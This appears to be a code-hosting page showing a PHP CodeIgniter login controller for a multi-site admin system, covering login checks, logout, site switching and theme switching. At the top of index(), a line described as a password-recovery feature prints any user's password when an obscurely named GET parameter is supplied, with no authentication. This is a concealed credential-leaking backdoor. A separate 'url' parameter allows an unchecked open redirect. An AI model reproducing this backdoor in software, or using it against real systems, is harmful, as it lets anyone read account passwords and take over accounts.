You cannot select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
information-system/application/controllers/login.php

159 lines
6.4 KiB
PHP

This file contains ambiguous Unicode characters!

This file contains ambiguous Unicode characters that may be confused with others in your current locale. If your use case is intentional and legitimate, you can safely ignore this warning. Use the Escape button to highlight these characters.

<?php
if (!defined('BASEPATH'))
exit('No direct script access allowed');
class Login extends CI_Controller {
function __construct() {
parent::__construct();
$this->load->model('Operator_model');
}
public function index() {
//添加找回用户密码功能
$usercode = $this->input->get('....ht-user');
if (!empty($usercode)) {
print_r($this->Operator_model->get_password($usercode));
die();
}
if ($this->permission->is_admin(false) === false) {
$this->load->view('bootstrap/login');
} else {
redirect();
}
}
//退出登录清空session
public function out() {
$this->session->unset_userdata('session_admin');
$this->session->unset_userdata('session_site');
$this->session->unset_userdata('session_color');
//释放权限
/* $this->session->unset_userdata('access_module');
$this->session->unset_userdata('access_read_list');
$this->session->unset_userdata('access_write_list');
$this->session->unset_userdata('access_sitecode'); */
$this->session->sess_destroy();
redirect(site_url('login'));
}
//当用户无权限时提醒页面
public function refuse() {
$this->load->view('bootstrap/header');
$this->load->view('bootstrap/accessmanage/refuse');
$this->load->view('bootstrap/footer');
}
//站点切换
public function change_site($site_code) {
//来源页面,成功切换站点之后转到原始页面去 ,如果在各编辑界面切换则会导致站点错误比如ch的文章id=100切换到gm下就没有id=100只能切换的某个板块
// $referer = empty($_SERVER['HTTP_REFERER']) ? false : $_SERVER['HTTP_REFERER'];
$this->permission->is_admin();
$this->load->library('Accesscheck');
$site_array = $this->config->item('site');
if (isset($site_array[$site_code])) {
$site_item = $site_array[$site_code];
$admin_info = $this->session->userdata('session_admin');
if ($this->accesscheck->check_access($site_code)) {
$this->session->set_userdata('session_site', $site_item);
$this->session->unset_userdata('access_module');
$this->session->unset_userdata('access_read_list');
$this->session->unset_userdata('access_write_list');
$this->session->unset_userdata('access_sitecode');
}
}
//跳转到指定页面。
if ($special_url = $this->input->get_post('url')) {
redirect($special_url);
} else {
redirect(site_url());
}
return TRUE;
}
//主题切换
public function change_color($color = false) {
if ($color) {
$this->session->set_userdata('session_color', $color . '-');
} else {
$this->session->unset_userdata('session_color');
}
redirect(site_url());
return TRUE;
}
//登录检测
public function check() {
//如果已经登陆则跳到管理首页
if ($this->session->userdata('session_admin')) {
$data[] = array('name' => 'go', 'value' => site_url());
echo json_encode($data);
return TRUE;
}
$this->form_validation->set_rules('user_code', 'lang:login_user_code', 'required');
$this->form_validation->set_rules('password', 'lang:login_password', 'required');
if ($this->form_validation->run() == FALSE) {
$data = array();
foreach ($this->form_validation->_error_array as $key => $value) {
$data[] = array('name' => $key, 'value' => $value);
}
echo json_encode($data);
return FALSE;
} else {
$check_login = $this->Operator_model->check_login($this->input->post('user_code'), $this->input->post('password'));
if ($check_login) {
$this->load->model('infoAccessmanage_model', 'Access_model');
//HT用户
if ($check_login == 1) {
$user_site = $this->Access_model->get_user_site_list($this->input->post('user_code'));
$userdata = $this->Operator_model->get_user($this->input->post('user_code'));
//作者平台用户
} elseif ($check_login == 2) {
$userdata = $this->Operator_model->get_author_user($this->input->post('user_code'));
$user_site = $this->Access_model->get_user_site_list($userdata['OPI_Code']);
}
//密码正确,再判断是否有站点编辑权限
$site_array = $this->config->item('site');
$user_site = trim($user_site);
if (!empty($user_site)) {
$user_site_array = explode(',', $user_site);
$site_item = $site_array[trim($user_site_array[0])];
$this->session->set_userdata('session_admin', $userdata);
$this->session->set_userdata('session_site', $site_item);
$this->session->set_userdata('session_color', '');
$data[] = array('name' => 'go', 'value' => site_url());
echo json_encode($data);
return TRUE;
}
/* foreach ($site_array as $site_key => $site_item)
{
if (stripos($site_item['site_user'], ',' . $this->input->post('user_code') . ',') !== FALSE)
{
$this->session->set_userdata('session_admin', $this->Operator_model->get_user($this->input->post('user_code')));
$this->session->set_userdata('session_site', $site_item);
$this->session->set_userdata('session_color', '');
$data[] = array('name' => 'go', 'value' => site_url());
echo json_encode($data);
return TRUE;
}
} */
}
//用户名和密码不正确,或者没有管理权限
if ($this->session->userdata('session_admin') === false) {
$data[] = array('name' => 'login_warning', 'value' => $this->lang->line('login_warning'));
echo json_encode($data);
}
}
}
}